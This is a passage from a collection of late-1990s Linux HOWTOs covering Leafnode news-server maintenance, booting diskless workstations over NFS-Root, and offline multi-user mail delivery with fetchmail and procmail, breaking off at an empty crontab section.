9.) Start your favorite newsreader (slrn, (r)tin and knews are not a bad start) and subscribe to all your groups you read. Be careful not just to subscribe these groups, but also to enter them, even when they're empty.

10.) Start fetch again to download all the news of the groups want to get.


News Leafsite mini-HOWTO: How do I maintain leafnode?

 Next Previous Contents

4. How do I maintain leafnode?

Now you have got a working news system up and running, but there are still some things to do. You may edit the file /usr/lib/leafnode/config to set the expire dates of your groups. This number means, when old messages should be deleted. The standard time of 20 days is much often too long if you read some groups with much traffic, 4 days or a week are in most cases a good time for your system. You may change the value for all groups ("expire = n" to hold all groups n days), but you tell leafnode to change this time for some separate groups writing
groupexpire foo.bar n
to set the expire time for the group foo.bar to n days.

This setting alone won't make leafnode deleting old messages, a separate program is responsible for this: texpire. It may be started as a cron job or by command line. If your computer is up all the time, you may want to add the following line to news' crontab file (to edit it, log in as news and type "crontab -e" or as type root "crontab -u news -e"):
0 19 * * * /usr/local/sbin/texpire
This line causes the cron daemon to star texpire every day at 19:00. Check the crontab manual page for further adjustment. If your computer is not regularly switched on, you may start texpire just from time to time, when you notice that fetch gets slower. It works fine as with the "cron-method".


News Leafsite mini-HOWTO: How does it work?

 Next Previous Contents

5. How does it work?

Leafnode is a "real" NNTP server, which means that you can also login from a different computer (via Internet, the local network etc.). Every time you enter a group in your newsreader, your reader sends the information to leafnode and requests it. If the group does not exist, leafnode will create an empty file /var/spool/news/interesting.groups, named like the group. When you run fetch the next time, it will fetch the messages of the group. If a newsgroup has not been visited for a certain time, leafnode will stop to fetch its articles and delete its name in /var/spool/news/interesting.groups. So if you just subscribed to a high traffic newsgroup by accident, you may delete its file there by hand for that you won't have to download all the postings there for the next week.

A week is not enough for you? You want to go on holiday for three weeks and still get news? Unfortunately, there is no option in leafnode to change it. But you can edit the file leafnode.h and recompile it. The #defined constants are TIMEOUT_LONG and TIMEOUT_SHORT, just set the time in seconds up. Another, simpler solution is to define a cron-job that does "touch /var/spool/news/interesting.groups/*" every night.

If you want to get a list of all avaible groups, look into the file /usr/lib/leafnode/groupinfo, where you will find a short description on the group.

If you want to re-read the list of newsgroups from your newsfeed (for example when you want to read a new group), just delete the file /var/spool/news/active.read. Fetch will create it the next time and get the new list. Fetch will also re-read the grouplist from time to time, so you don't have to do it by hand.


News Leafsite mini-HOWTO: What newsreader should I use?

 Next Previous Contents

6. What newsreader should I use?

There is not *the* newsreader for Linux, like there is not *the* editor. My favourite newsreader is emacs in gnus mode which is the most configurable reader for Linux. Many people are using slrn and tin on a terminal, many people use knews under X. There are also trn, nn and a lot more reader, so just try what you like. The only reader you shouldn't use is Netscape, it is big, feature-less, unstable, and it creates sometimes broken postings. However, it is your personal decision.

Anyway, knews is no bad idea for your first experiences as it is very user-friendly and easy to understand.


News Leafsite mini-HOWTO: Where do I get more information?

 Next Previous Contents

7. Where do I get more information?

Some documentation is provided with the Leafnode package (read the files INSTALL and README, the sources are also quite interesting). If you want to know more about "professional" and "big" news servers, check the INN FAQ (they are provided with the INN package). To get information about your newsreader, type man "name of your newsreader" or check for other files in /usr/doc.

If you have any questions concerning the news system, just ask in an appropriate newsgroup (look in the news.software.ALL hierarchy).

If you have any question, comments or corrections concerning this HOWTO, just write to me (sutok@gmx.de).


News Leafsite mini-HOWTO: Copyright, License, Thanks

 Next Previous Contents

8. Copyright, License, Thanks

This document is Copyright(c) 1995, Florian Keuhnert.

It is distributed under the GNU Free Documentation License, which you should have received with it. You can also read it at http://www.fsf.org/licenses/fdl.html.

I would like to thank Michael Schulz (michaels@home.on-luebeck.de) for his help concerning some language problems and Cornelius Krasel (krasel@wpxx02.toxi.uni-wuerzburg.de) for his "touch *"-trick.


NFS-Root Mini-Howto

Andreas Kostyrka, andreas@ag.or.at

V8, 8 August 1997

This Mini-HOWTO tries explains how to setup a ``disc-less'' Linux workstation, which mounts it's root filesystems via NFS. The newest version of this Mini-Howto can always be found in ftp://sunsite.unc.edu/pub/Linux/docs/HOWTO/mini/NFS-Root or on any sunsite mirror NEAR YOU.

1. Copyright

  • 1.1 Contributors

2. General Overview

3. Setup on the server

  • 3.1 Compiling the kernels
  • 3.2 Creation of the root filesystem

4. Booting the workstation

  • 4.1 Using a boot rom
  • 4.2 Using a raw kernel disc
  • 4.3 Using a bootloader & RARP
  • 4.4 Using a bootloader without RARP

5. Known problems

  • 5.1 /sbin/init doesn't start.
  • 5.2 /dev troubles.

6. Other topics


NFS-Root Mini-Howto: Copyright

 Next Previous Contents

1. Copyright

(c) 1996 Andreas Kostyrka (e9207884@student.tuwien.ac.at or andreas@ag.or.at)

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Andreas Kostyrka <mailto:andreas@ag.or.at>, the author of this mini-HOWTO, or Tim Bynum, the Linux HOWTO coordinator, at <mailto:linux-howto@sunsite.unc.edu> via email.

1.1 Contributors

  • Avery Pennarun <apenwarr@foxnet.net> (how to boot without LILO)
  • Ofer Maor <ofer@hadar.co.il> (providing a better mini howto about setting up discless workstations.)
  • Christian Leutloff <leutloff@sundancer.tng.oche.de> (providing infos about netboot.)


NFS-Root Mini-Howto: General Overview

 Next Previous Contents

2. General Overview

Generally speaking there are the following problems for the workstation:

  • It must find out it's own IP-address, and if needed also the rest of the Ethernet configuration.
  • It must know the NFS-server and the mount path to it's root filesystem.

The current implementation of NFSROOT in the Linux kernel (as of 1.3.7x) allows for the following ``solutions'':

  • The IP-address may be discovered by RARP, or the full ethernet configuration may be passed to the kernel via kernel parameters by LILO or LOADLIN.
  • The NFS-path to mount can be passed via kernel parameters. If this is not done, the kernel assumes the RARP-server also as NFS-server, and uses compiled in default for the path part. (current default value in the kernel: /tftpboot/<IP-address of the machine>.)
  • The client configuration may be discovered by BOOTP.

Before starting to setup a discless enviroment, you should decide if you will be booting via LILO or LOADLIN. The advantage of doing so is flexibility, the disadvantage is speed. Booting a Linux kernel without LILO is faster. This may or may not be a consideration.


NFS-Root Mini-Howto: Setup on the server

 Next Previous Contents

3. Setup on the server

3.1 Compiling the kernels

RARP support in the kernel of the server will probably be a good idea. You must have it if you will boot without kernel parameters. On the other hand it doesn't help you, if the client isn't on the same subnet than the server.

The kernel for the workstation needs the following as a minimum set compiled in:

  • NFS-filesystem compiled in. (It doesn't need to have ext2-support compiled in, a module suffices.)
  • ``Root on NFS'' must be enabled.
  • The Ethernet driver for the network card of the workstation must be compiled in.
  • Depending upon your needs you may have to include RARP or BOOTBP support for NFS-Root. (By this I mean the questions that are asked after the NFS question in make config.)

If the workstation will be booted without kernel parameters, you need also to set the root device to 0:255. Do this by creating a dummy device file with mknod /dev/nfsroot b 0 255. After having created such a device file, you can set root device of the kernel image with rdev <kernel-image> /dev/nfsroot.

3.2 Creation of the root filesystem

Copying the filesystem

Warning: while these instruction might work for you, they are by no means sensefull in a production enviroment. For a better way to setup a root filesystem for the clients, see the NFS-Root-Client mini howto by Ofer Maor <ofer@hadar.co.il>.

After having decided where to place the root tree, create it with (e.g.) mkdir -p <directory> and tar cClf / - | tar xpCf <directory> -.

If you boot your kernel without LILO, then the rootdir has to be /tftpboot/<IP-address>. If you don't like it, you can change it in the top Makefile in the kernel sources, look for a line like: NFS_ROOT = -DNFS_ROOT="\"/tftpboot/%s\"" If you change this, you have to recompile the kernel.

Changes to the root filesystem

Now trim the unneeded files, and check the /etc/rc.d scripts. Some important points:

  • One important thing is eth0 setup. The workstation comes up with a, at least partially, setup eth0. Setting up the IP-address of the workstation to the the IP-Address of the server is not considered a clever thing to do. (As it happened to the author on one of his early attempts.)
  • Another point is the /etc/fstab of the workstation. It should be setup for nfs filesystems.
  • WARNING: Don't confuse the server root filesystem and the workstation root filesystem. (I've already patched up a rc.inet1 on the server, and wondered why the workstation still didn't work.)

Exporting the filesystem

Export the root dir to the work station. See exports(5). You most likely will have to restart the nfsd/mountd after this change. Under RedHat this can easily be done by typing /etc/rc.d/init.d/nfs stop ; /etc/rc.d/init.d/nfs start .

RARP setup

Setup the RARP somewhere on the net. If you boot without a nfsroot parameter, the RARP server has to be the NFS server. Usually this will be the NFS server. To do this, you will need to run a kernel with RARP support.

To do this, execute (and install it somewhere in /etc/rc.d of the server!):

/sbin/rarp -s <ip-addr> <hardware-addr>

where

ip-addr

is the IP address of the workstation, and

hardware-addr

is the Ethernet address of the network card of the workstation.

example: /sbin/rarp -s 131.131.90.200 00:00:c0:47:10:12

You can also use a symbolic name instead of the IP-address, as long the server is able to find out the IP-address. (/etc/hosts or DNS lookups)

BOOTP setup

For BOOTP setup you need to edit /etc/bootptab. Please consult the bootpd(8) and bootptab(5) man pages.

Finding out hardware addresses

I don't know the hardware address! How can I find it out?

  • Boot the kernel disk you made, and watch for the line where the network card is recognized. It usually contains 6 hex bytes, that should be the address of the card.
  • Boot the workstation with some OS with TCP/IP networking enabled. Then ping the workstation from the server. Look in the ARP-cache by executing: /sbin/arp -a


NFS-Root Mini-Howto: Booting the workstation

 Next Previous Contents

4. Booting the workstation

4.1 Using a boot rom

As I have not used such a beast myself yet, I can give you only the following tips (courtesy of Christian Leutloff <leutloff@sundancer.tng.oche.de>):

  • You can't use ``normal'' bootroms.
  • There is a netboot packet by Gero Kuhlmann, that provides for bootroms for Linux, and further information. netboot is available from the local Linux mirror, or as a Debian package (netboot-0.4).
  • Read the documentation coming with your boot rom carefully.
  • You probably will have to enable the tftpd on the server, but this depends upon your boot rom's way of loading the kernel.
  • Any informations on bootrom vendors of these Linux variety, mentioned above, as not everybody has access to prom burner :( (especially in europe, as I'm located there.) welcome, I'll include them then here.

4.2 Using a raw kernel disc

If you have exported the root filesystem with the correct name for the default naming and your NFS server is also the RARP server (which implies that the boxes are on the same subnet.), than you can just boot the kernel by cating it to a disc. (You have to set the root device in the kernel to 0:255.) This assumes, that the root directory on the server is /tftpboot/IP-Address (this value can be changed when compiling the kernel.)

4.3 Using a bootloader & RARP

Give the kernel all needed parameters when booting, and add nfsroot=<server-ip-addr>:</path/to/mount> where server-ip-addr is the IP-address of your NFS-server, and /path/to/mount is the path to the root directory.

Tips:

  • When using LILO consider using the ``lock'' feature: Simply type in once all the correct parameters and add ``lock''. Next time when booting let LILO timeout.
  • When generating a workstation specific boot disk, you can also use the append= feature in lilo.conf.

4.4 Using a bootloader without RARP

In addition to nfsroot give a nfsaddrs=<wst-IP>:<srv-IP>:<gw-IP>:<netm-IP>:<hostname> commandline argument for the kernel. The kernel will setup eth0 with the given parameters:

wst-IP

machine's IP-Address

srv-IP

NFS-server IP-Address

gw-IP

gateway

netm-IP

netmask

hostname

machine name


NFS-Root Mini-Howto: Known problems

 Next Previous Contents

5. Known problems

5.1 /sbin/init doesn't start.

A popular problem with /sbin/init is, that some (at least) current distributions come with /sbin/init dynamically linked. So you have to provide a correct /lib setup to the client. One easy thing one could try is replacing /sbin/init (for the client) with a statically linked ``Hello World'' program. This way you know if it is something more basic, or ``just'' a problem with dynamic linking.

5.2 /dev troubles.

If you get some garbled messages about ttys when booting, then you should run a MAKEDEV from the client in the /dev directory. There are rumors that this doesn't work with certain server oses which use 64-bit dev numbers, should you run into this, please mail me with which os you have the troubles. A potential solution would be to create a small /dev ram disc early in the boot process, and reinstall the device nodes each time.


NFS-Root Mini-Howto: Other topics

 Next Previous Contents

6. Other topics

  • There is BOOTP client: ftp://sunsite.unc.edu/system/Network/admin/bootpc.v045.tgz

    With initrd (which is included in Linux 2.0), it could be made to work for diskless stations quite nicely. initrd is actually always an advanced option for more customized setups.

  • For plain bootpd based boots this is actually probably not needed as Linux 2.0 contains also the option to use BOOTP instead of RARP. (To be more precise, you can compile both in the kernel, and the faster response wins.)
  • In the Documentation directory of kernel source there is a file documenting NFS-Root systems.
  • There is a patch floating around, that allows for swapping over NFS. It was send to me (during a private high workload phase), but I somehow managed to loose the mail. :(

    You can get it probably from http://www.linuxhq.com/ in the unofficial patches section.

  • My PGP public key can be fetched by fingering andreas@ag.or.at. The fingerprint is: F1 F7 43 D5 07 C4 6C 87 BF 6B 33 A2 2C EE 5A F9.


Linux off-line mailing method (offline mailaddr with 1 account)

Gunther Voet, freaker@tuc.ml.org - Belgium (CompuMed/TuCSRV)

v1.3.3, 4 June 1998

Use your linux mailing system offline, receive mail for multiple users with only one email address, and without being 24-24 online on the net. If you are unable to pay a direct line to stay online for 24-24 and still want your users to receive mail on your linux box; as well not pay for a multi-drop box at your isp, you can use this system using only one email address to divide to your users email addresses. It is as well 24-24 reachable since the server where your account resists will receive the mail. This howto is Copyright (c)1997-98 by Gunther Voet.

1. Notes by the author (preface).

  • 1.1 Legal stuff
  • 1.2 Copyrights
  • 1.3 Feedback
  • 1.4 Distribution
  • 1.5 Changes
  • 1.6 What am i using ?
  • 1.7 Thanks go out to ...

2. Preliminaries

  • 2.1 Preface & Description
  • 2.2 Points of interest ...
  • 2.3 Things you should know
  • 2.4 there are 2 different ways ...

3. Requirements

  • 3.1 A linux machine
  • 3.2 A extra account at your linux machine
  • 3.3 Fetchmail
  • 3.4 Procmail
  • 3.5 A mail account

4. I got it all, what now ?

  • 4.1 Creating a .fetchmailrc file
  • 4.2 Creating a .procmailrc file
  • 4.3 "nosuchuserfile"
  • 4.4 "crontab files".
  • 4.5 "At the admins site".

5. Automation

  • 5.1 The "skeleton".
  • 5.2 addmail script

6. Help! (sigh)

  • 6.1 The automation script just doesn't work:
  • 6.2 What do you mean by "anonymous mailserver"?
  • 6.3 My cat died
  • 6.4 My dog died
  • 6.5 Linux?
  • 6.6 Can you help me with finding a mail account?
  • 6.7 Why is the "maybe later i'll make some addition ..." removed ?
  • 6.8 How do i get a "domain" ?
  • 6.9 Why are you so f*cking lame using this?
  • 6.10 Nosuchuserfile?
  • 6.11 Can my users write/send mail too?
  • 6.12 Does every user need a shell account at my server?
  • 6.13 skeletion?
  • 6.14 Addmail?
  • 6.15 Why are you so cruel?
  • 6.16 Didn't you get a complaint of excessive language ?
  • 6.17 Why is this howto different than most others?
  • 6.18 locally my domain works, but remote it seems not to receive
  • 6.19 My dog died

7. The End


Linux off-line mailing method (offline mailaddr with 1 account): Notes by the author (preface).

 Next Previous Contents

1. Notes by the author (preface).

In this chapter i'm just going to put myself safe for any damages and flames - since even *I* could be wrong ... If you got any questions or suggestions to add to this faq, even if you find any faults - there is a feedback section in it ...

Some "need to know" point is, all filenames & files/types are indicated with the line:

(*** < file > *** text ***) .procmailrc

This means, this is a file, called ".procmailrc" containing text. The text variable can also be code. It shows you what name of file to use. Without a path means it can be variable/choosen by you (in the most cases this files resists in the homedirectory of the mail"user" like /home/mailer).

1.1 Legal stuff

Neither the author nor the distributors of this HOWTO are in any way responsible for physical, financial, moral damage incurred by following the suggestions and examples of this text. The information in this document contains the best of my knowledge and experience, but i could still make any mistakes as well in the information as in the examples. Any trademarks are property of their respective holders (i ain't using any commercial thingy's here - but well - IF i'm going to add some text, i don't need to change this disclaimer). If your cat dies 'coz this document was too heavy - i am not responsible as well ...

1.2 Copyrights

This document and contents are Copyright (c)1997-98 by Gunther Voet. Unauthorized (re)production in any form is explicitly allowed and even strongly encouraged as long you don't change the contents of it without contacting the author (Gunther Voet). If you quote the document as whole or a part of it, there needs to be a Copyright "hint" or link to the derived work. "The HOWTO documents are copyrighted by their respective authors". The "HOWTO copyright" will discuss what can be done and what cannot be done with this document. If it is used in a commercial way, the author should been noticed for such distributions. Exceptions on this copyright may be granted under certain conditions with a written letter or e-mail to the author. For more info about the standard HOWTO disclaimer, please contact linux-howto@sunsite.unc.edu.

*PLEASE* *IF* you are going to make a system based on this HOWTO, then PLEASE give me the copyright :) heh ... - i am not that cruel :)). I mean by a system "a package" - NOT the mailsystem itself - altough it is some appreciative thingy i would be included :)) i can always use one email address more for more flaming :)) (just kiddin').

1.3 Feedback

Well, i expect from you and the users who read this HOWTO, they will make this HOWTO useful. If you got any suggestions, corrections, comments (except flame-mail :)) - please send them to me at freaker@freestamp.com or freaker@tuc.ml.org and i will make the corrections, comments or suggestions happen in the next revision. If you publish this document on a commercial way, a complimentary copy would be appreciated - you can mail me for my postal address. For flames - you could send them to me, but they will end at /dev/null ... so - don't even mind to waste bandwidth for it !. Since i can exclude some users to receive mail from (explained in this document) (evil grin). My alias (name) is freaker btw :)). You can always try "freaker@freestamp.com". (note the changed address !!)

1.4 Distribution

The latest revision of this document can been get from:

http://sunsite.unc.edu/pub/Linux/docs/HOWTO/mini/Offline-Mailing

-and-

http://tuc.ml.org/om/

(also checkout http://tuc.ml.org)

tuc.ml.org could be down at the time of current writing!

1.5 Changes

 v1.0.0       - Preliminary release, internal testing, we tried it before
                we gave it out to you :) .. since - it GOT to be usefull
                and needs to work? rite ? :)
 v1.1.0       - Fixed a lot of errors in the texts, put chapters in it,
              - fixed some small errors and typo's ...
 v1.2.0       - fixed grammatical errors.
              - added a "what-are-we-using" chapter.
              - added Sunsite address.
 v1.3.0       - Added "virtual mail support" for admins
              - New site and email addresses
              - Thanks go to ...
 v1.3.1       - Converted to SGML and fixed some minor details.
 v1.3.2       - Major errors corrected (filenames .fetchmailrc to
                .procmailrc) etc... (thx to Tetsu Isaji)
              - Added support for the "new" sendmail, v8.8.0+
              - Fixed some minor errors
              - Upgraded my system YAY!
              - Japanese version will come out soon, location
                will be mentioned when known ... (thx to Tetsu Isaji)
 v1.3.3       - Added CC support, changed email addr to freaker@freestamp.com

1.6 What am i using ?

I'm using Linux 2.0.30, Pentium-166, ATI pci-mach64 card, Accelerated-X (Metro) and a connection to my isp (currently ibmnet) via ppp using a ZyXEL 28k8 modem, and occasionally a Bausch 28k8.

Now i upgraded to Linux 2.0.33, installed a USRobotics modem, it still works as it should work :) (everybody should upgrade their linux versions as soon there comes out a patch :) believe me :) you could spare a lot of time & seeking for errors when doing this one :)

1.7 Thanks go out to ...

  • Fred, durban.hebel.net (for allowing the pages & bot)
  • Lifesaver, parkside.net (for allowing the new pages, helping with this faq for mailing, since, it is all working overthere and here ... make some visit to his cyber-cafe ... heard they got great coffee :))
  • The server admins at lodus.net to continue this project.
  • Now i'll need a new server since lodus.net has been sold :(


Linux off-line mailing method (offline mailaddr with 1 account): Preliminaries

 Next Previous Contents

2. Preliminaries

Well, how does this system works ? what can you do with it ? what is it anyway ? and ... am i used to read it ? ... to all those questions - there is an answer ...

2.1 Preface & Description

This HOWTO is dedicated to all the off-line linux users/servers ... You got a group, or organization, and you want all your members to have a contact (email) address, without paying for the 24/24 direct line or for the email accounts ... Or you got a internal network - with a masq'd server and you want to give all the users using it a email address, you could use this way to do it. I personally am using it to give my users & members of a demogroup all a e-mail account without being 24/24 online; since it is a non-commercial demogroup - and we don't got THAT much money to pay a direct line with instant email access - and different ip's. Everybody got a email address, even when they don't got internet access. The ones with internet access can receive their mail on their personal email address - viavia the system described below. Your users can still send mail as they used to do, since - your system will hold the mail queue from the users. The only thing what should be changed for the users - is that they add their "email address" wether (described below) it is the method with the subject line, or with the header "to" ...

2.2 Points of interest ...

  • A organization with members, for all a email address, so they can be contacted when neccesary.
  • A anonymous mailservice - they can't read your "mail setup file" - so they don't know where the mail is forwarded/rerouted to.
  • A group who doesn't got enuf money (don't laugh), or is free, and don't WANT to spend money for it (eheh) - and still wants to provide the members a email address.
  • A masq'd network - with a server connected to the internet, where the users using the masq'd network need to have a email account
  • You want to put some documents "autoreplied" - like i do with my HOWTO, statistics, or documents ... like "info@yourmail.dom" or "document1@yourmail.dom".
  • You only need one account at the "main" server to fetch from, for the +200 email accounts you can create at your server ...
  • I used the "B" method with +- 300 email accounts - with a public server; 80486DX4-100 - and was processed in 1 minute.

2.3 Things you should know

  • Not every (free) mailservice is happy when you are going to distribute mail to other users, or putting up an anonymous mail server, so, please try to contact your mailserver administrator before "just doing it".
  • It is slower than a direct 24/24 connection, since your server will need to get online before it will process the mail.
  • It needs a administrative force to administrate the "mailrouting" and to add the user ... you will need work with it ! - it is not that automatic. (well - i made it "semi-automatic" with my server :) you could try it as well).
  • Bandwidth and space is needed when you got many users - on the mailserver you are working on ... and sure - when they send files - you need to have enough space on it !.
  • All mail will be transferred into "one step" - so - the last mail received on your server will be last sent to the recipient. "first in - first out".
  • In the first method (to:) there is no prob with the usernames - but in the second "cheaper" method - users can't put in a subject line, since that one will be used to send the mail to the recipient. Many users forget to use the "subject" ... - or they will need to know it clearly.
  • If you poll enough for your mail, (for example 4 times a day) - the mail will be sure be delivered to as from a recipient the least every 6hrs. So the processing will go a little smoother.
  • you CAN use it as a "online" mail server as well :) since it will poll for it's mail for every XX minutes. but - when you are online - why using another server ? and not asking your own domain for your own server ? (dough).

2.4 there are 2 different ways ...

  1. method 'A' - now called "(m(A))". The "mailsystem" will look to the header, and will see to the "to:" line. This is the best way, since it are "real email addresses". You will need another account on some server *AND* you need a DNS (MX) entry (your own domain for instance). If the system administrator wants to help you with that, then there will be no problem !. The system administrator will need to reroute ALL mail sent to your (MX) maildomain -> to your account !. This will take some time for him to do it :) so be really nice to him :)) Thanks to my system administrator (Fred) i got my maildomain and the user- services of my "free" demogroup. It can be a DNS entry costs something, what you will need to consider to take it or not.
  2. method 'B' - now called "(m(B))". The "mailsystem" looks to the subject line, and will forward to the user indicated into the subject line. If the user is not found, it will bounce a mail back. This will need a pop server with only one useraccount, and don't need your own DNS or you don't need to be nice to your system- administrator who arranges you the mail address :). You can use a public mailserver, as well your own mailserver or a private one. You can even sacrifice your own email address for it :). I used this approach as first what worked for me for over a year now ... I know this is sloppy, but, i ain't telling you need to use this way, so don't shoot ME - since i'm only offering you some solutions to your mail problems :) - you could use method A what isn't that sloppy !


Linux off-line mailing method (offline mailaddr with 1 account): Requirements

 Next Previous Contents

3. Requirements

Well, you need (of'course) a Linux machine, what can be connected to the internet - So! (i am smart - i am smart :)) - you probably got a modem, right? a phoneline - or any way to connect yourself with the server you are running. You will also need some software like Fetchmail, Procmail, an extra account, and your email account or DNS with email account.

3.1 A linux machine

This can be ANYthing ... even a 8086 ... - but preferable - since there will be some load on it - minimally a 80386 :). as faster the machine - as faster the software will run (rite eh)? :).

3.2 A extra account at your linux machine

You need to create a extra account on your Linux machine. I am using as example (in this HOWTO) "mailservice". This can be as well "mailserver" or "mailtousers" - as long it is some name what can be recognized by you!.

! It doesn't need to have ANY root privileges !

This mailaccount will forward all mail to the users on your system, or to external users (not on your system :)). Just create it as an ordinary user. You will need to test things under this account, and, the mail "administrator" can use this account to administrate the mail account without being root even .. so - pretty safe !.

3.3 Fetchmail

I am using v1.9 patch level 9 ... i found it at sunsite.unc.edu, and, i am using only this mail-fetcher in my example - if you want to use another one, you are on your own ! since i am happy with it :). For extended features you should read the man of Fetchmail :). This can be installed as root - as well for the user itself ... - best is to install it as root :) since i know it will work for sure then :)))

3.4 Procmail

I am using v3.10 - found it again at sunsite.unc.edu, and - i like this as the best mda (mail delivery agent) around ... It delivers nicely - and it is better than using it by the "original" system mda - since it will deliver user-per-user ! ... The same as above - it can be installed as root, or as user - and :) best is to install it as root - since i know it will work for sure then (again!) :)... how repetetive ...

3.5 A mail account

You always need to have a mail account - where you can "poll" your mail from. The server needs to be a POP server - where you can poll from when you want, and where users can send their mail 24/24 to. It can be a free-mail service, as well commercial - even your mailaccount is sufficient enough. In the "subject" method (m(B)) - you don't need something more - in method A - with the "to" fields - you NEED more - as written below !

A DNS record (MX)

Needed to run your own "domain" - email domain ... it is needed since the administrator of the server can't use it's own domain for your users - since there are users who need to be contacted on his server as well - what could interfere with your users. And your mailheader must be filtered on that domain. So - an apart domain - pointing to HIS server. This can be an additional cost - or you can ask your system administrator to add a "non- authorative address" - pointing to his server ... - however - it needs to be another domain than he is using !

A "forward" to your account-account :)

Well, the system administrator needs to forward *ALL* mail to your domain to YOUR account ... - it is easy for him when he knows how to do it :) .. else he will need to read the sendmail manual :)) (or qmail - whatever). You will poll for your mail at your account and voila ! filtering on YOUR own email domain.


Linux off-line mailing method (offline mailaddr with 1 account): I got it all, what now ?

 Next Previous Contents

4. I got it all, what now ?

Now you created the extra account, you got the mail address - and/or the DNS entry & forwarding to your account ... As well installed Procmail & Fetchmail so we can rock the place ! :) .. here we go !

  1. You need to create a .procmailrc file, what will contain the "delivery" info to your users.
  2. You need to create a "nosuchuserfile" - so the writer knows his mail isn't delivered well.
  3. For best work :) you could use crontab to check for mail. This is a easy way to check your mail every XX minutes when on the internet.

4.1 Creating a .fetchmailrc file

You will need to create a .fetchmailrc file, what will contain the information (username & password, as well the Mail Delivery Agent (mda) to proces the mail to). Here is some example file ...

(*** < file > *** text ***) .fetchmailrc
server my.mail.server.com
proto pop3
user myaccountthere
pass deepestsecrets
flush
mda /usr/bin/procmail

This file will be used to fetch your mail. Please test it by using the fetchmail program "fetchmail -vv" - and see your mail is being transferred right ... There will be some errors - since the procmail control file hasn't been created yet. You can wait by testing AFTER making the procmailrc file, but - i'll warn ya - IF there is something fault :) it CAN be this file :) It needs to be owned by the user account itself - in my case "mailservice" and needs to be "user readable" but NOT group/world readable - since it contains the "main password" :)). (chmod 600 .fetchmailrc will do).

4.2 Creating a .procmailrc file

This control file will forward all mail to the users in it. There are 2 ways as described before - the "to:" (header) way - and the "subject" (sloppy) way. The file will contain the usernames to transport to. All the "#" are comments and are absolutely not needed when not wanted - it's only so you know what i am doing ... - you can as well best chmod it 600 - so the rest of the world or group doesn't need those private addresses eh :) ... It needs also to be owned by the user (like "mailservice") :)). The "nosuchuserfile" is a "bounce" to the writer - if the user isn't found (so mail not delivered) in the procmailrc file ... - so the writer knows the mail isn't delivered well.

For "header (to:)" transportation

(*** < file > *** text ***) .procmailrc
# this line is for debugging purposes only ! it should be removed for
# ethical purposes - since you can read all mail passed trough your mail-
# server ... - all mail will be copied to the file "passtrough" before
# going to the users ... herein you can look what went wrong ...
:0 c
        passtrough

# the mail with header "to: freaker@mydom.com" will be forwarded directly
# to me, the other mail will pass this option ...
:0
* ^To:.*freaker@mydom.com
! freaker

# the mail to root@mydom.com will be forwarded to root ... as well postmaster!
:0
* ^To:.*root@mydom.com
! root

:0
* ^To:.*postmaster@mydom.com
! postmaster

# the mail to barbara@mydom.com will be forwarded to barbara AND will be
# forwarded to her private email address !

:0 c
* ^To:.*barbara@mydom.com
! barbara@her.private.one

:0
* ^To:.*barbara@mydom.com
! barbara

# the mail to johnny@mydom.com and johnny@hisdom.com will be forwarded to johnny

:0
* (^To:.*johnny@mydom.com)|(^To:.*johnny@hisdom.com)
! freaker

# the mail to hans@mydom.com and all carbon copys will be forwarded to hans

:0
* (^To:.*hans@mydom.com)|(^CC:.*hans@mydom.com)
! hans

# this lines will BOUNCE the mail to the sender - when it is not delivered to
# one of above users ... it will send the file "nosuchuser" into the mail
# body as reply ... be aware ! you need to make such file ! - mine contains
# "well, the user you wanted to reach does not exist on this server, please
# try again, it could be the user is not present anymore".
#
:0
  |(/usr/bin/formail -r -k \
     -A"X-loop: mailservice@mydomain.dom "| \
       /usr/bin/gawk '{print }\
       /^/ && !HEADER \
         { system("/bin/cat nosuchuser"); \
         print"--" ;\
         HEADER=1 }' ) |\
         /usr/bin/sendmail -t

exit

For "subject: touser" transportation

(*** < file > *** text ***) .procmailrc
# this line is for debugging purposes only ! it should be removed for
# ethical purposes - since you can read all mail passed trough your mail-
# server ... - all mail will be copied to the file "passtrough" before
# going to the users ... herein you can look what went wrong ...
:0 c
        passtrough

# the mail with header "to: freaker@ibm.net" will be forwarded directly
# to me, the other mail will pass this option ... When you got a "dedicated"
# email address to receive your "mailservice thingy's" on - you don't need
# to use this line :)
:0
* ^To:.*freaker@ibm.net
! freaker

# all mail with as subject "root" will be forwarded to root !
:0
* ^Subject:.root
! root

# all mail to "subject: barbara" will be forwarded to barbara ...
:0
* ^Subject:.barbara
! barbara

# all mail to "subject: paul" will be forwarded to his external email addr.
:0
* ^Subject:.paul
! paul@his.personal.emailaddress

# all mail to "subject: john" will be forwarded to his account at your server
# and a copy will go to his private email address ...
:0 c
* ^Subject:.john
! john@his.personal.emailaddress

:0
* ^Subject:.john
! john

# All the mail from ibm, with their updates and information, will go to
# freaker, as he is the one who will administrate the mailservice, and
# as ibm doesn't want to get the bounce putten below !! ... this is
# neccesary if your mail provider sends "newsletters" etc...
:0
* ^From:.*newsletter@ibm.net
! freaker

# All messages from the daemon should been thrown away, or in my case, will
# be saved to a file ... (use /dev/null to throw to endless pits of The Abyss)
:0
* ^FROM_DAEMON
throwaway

# this lines will BOUNCE the mail to the sender - when it is not delivered to
# one of above users ... it will send the file "nosuchuser" into the mail
# body as reply ... be aware ! you need to make such file ! - mine contains
# some text like "user not found in subject line, please use "Subject: user"
# to write a mail to the user, like example "subject: freaker" would send a
# mail to freaker." The file can be long, but also small :) ... the
# "mailservice@mydomain.dom" will prevent to loop between your server and
# the other server - it needs to have the EXACT email address used !.
# Else you could create an endless loop with a server what sends mail
# to "your email address" with as subject something like "don't spend 500$
# at your ..." etc...
:0
  |(/usr/bin/formail -r -k \
     -A"X-loop: mailservice@mydomain.dom "| \
       /usr/bin/gawk '{print }\
       /^/ && !HEADER \
         { system("/bin/cat nosuchuser"); \
         print"--" ;\
         HEADER=1 }' ) |\
         /usr/bin/sendmail -t

exit

4.3 "nosuchuserfile"

(*** < file > *** text ***) nosuchuser

The user you wanted to contact is not present at this system.

Please use the subject line as recipient - example "subject: freaker" would
send mail to freaker on this system.

4.4 "crontab files".

